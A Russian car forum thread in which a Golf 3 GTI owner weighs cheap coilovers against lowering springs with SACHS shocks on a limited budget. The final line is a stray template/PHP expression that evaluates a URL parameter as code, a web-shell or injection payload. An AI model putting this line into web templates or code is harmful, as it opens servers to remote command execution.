Показано с 1 по 10 из 10

Тема: Совет нада, дешовые винты или "сток+пружинки"


Древовидный режим

  1. #1

    Совет нада, дешовые винты или "сток+пружинки"

    Привет Аll!

    Весна пришла, решил поменять подвеску по кругу на своем гольф3гти, поискал почитал, прикинул финансы - 20К максимум, результат:

    1. Винты потяну тока такии:
    http://sport-suspension.ru/show_good...dtov=310941315
    http://sport-suspension.ru/show_good...dtov=310941312
    http://sport-suspension.ru/show_good.php?idtov=963447

    2. Собрать отдельно: пружинки с переменным витком и занижением 30-40 H&R 7000р комплект + аммортизаторы SACHS advantage (были такии - доволен) 8000р комплект + пыльники, отбойники докупить новыи...

    Остались такии нереразрешенные вопросы и на которые чот ответов толковых не нашел:
    -судя по картинкам п.1 на каждой стойке по 2 пружины - типо эфект переменного витка? или для регулировки занижени? или 2-в-1?
    -как по жесткости сами амортизаторы из п.1 ну и комплект?
    -кто юзал такии дешовыи винты, как с качеством? зимы наши переживут?
    -много мнений на тему "если пружины с занижением то "стоковые" аммы дохнут" - проясните, а то немного технически не понятно с чего бы, у них ведь вроде по всему ходу штока одинаковые характеристики?

    Движение активное в основном по городу, дороги у нас оставляют желать лучшего, иногда трасса, но без фанатизму 120-140, мах160-170 местами. В идеале результат хотелось бы такой - небольшого занижения, приемлемого соотношеня жесткости-комфорта в сторону комфорта (щас колесы 205/45R17, думаю всетаки сменить на 205/50R16 - жестковато + дороги), надежности - ну чтоп не сдохли через "месяц".

    PS: была возможность юзал такой конфиг:
    перед b6+H&R с переменным витком -40мм, зад SACHS advantage+H&R с переменным витком -40мм, колесы 215/45R17 - перед был жутко жестким, переднии колесы цепляли крылья в повернутом состоянии на кочках (промахнулся с вылетом + ширина резины, щас другии), зад меня очень порадовал, комфортно, жопа прилеплена к дороге без намеков на снос в поворотах, при полной загрузке на кочках не цепляло нигде! пружинки H&R мне очень понравились, но b6 чот очень жестковато оказались.

    PSS: смотрел на такой вариант http://sport-suspension.ru/show_good.php?idtov=11302908 , к ним вроде еще нада докупать пыльники-отбойники, и непонятно какии пружины в комплекте...вощем ценнег не потяну.
    Последний раз редактировалось joY; 20.03.2011 в 16:14.

Похожие темы

  1. Ответов: 3
    Последнее сообщение: 02.04.2024, 06:45
  2. "I этап Кубка "МАГИСТРАЛЬ 2012" - 17 марта"
    от Magistral в разделе Туризм и отдых
    Ответов: 3
    Последнее сообщение: 02.04.2024, 03:58
  3. "Самый красивый сток 2013"
    от ™B®embo™ в разделе Итоги 2013 года
    Ответов: 56
    Последнее сообщение: 02.10.2023, 13:55
  4. Интеркуллер "Мокрый" или "Сухой"??? Хелп???
    от Танкист в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 10
    Последнее сообщение: 17.11.2009, 20:45

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}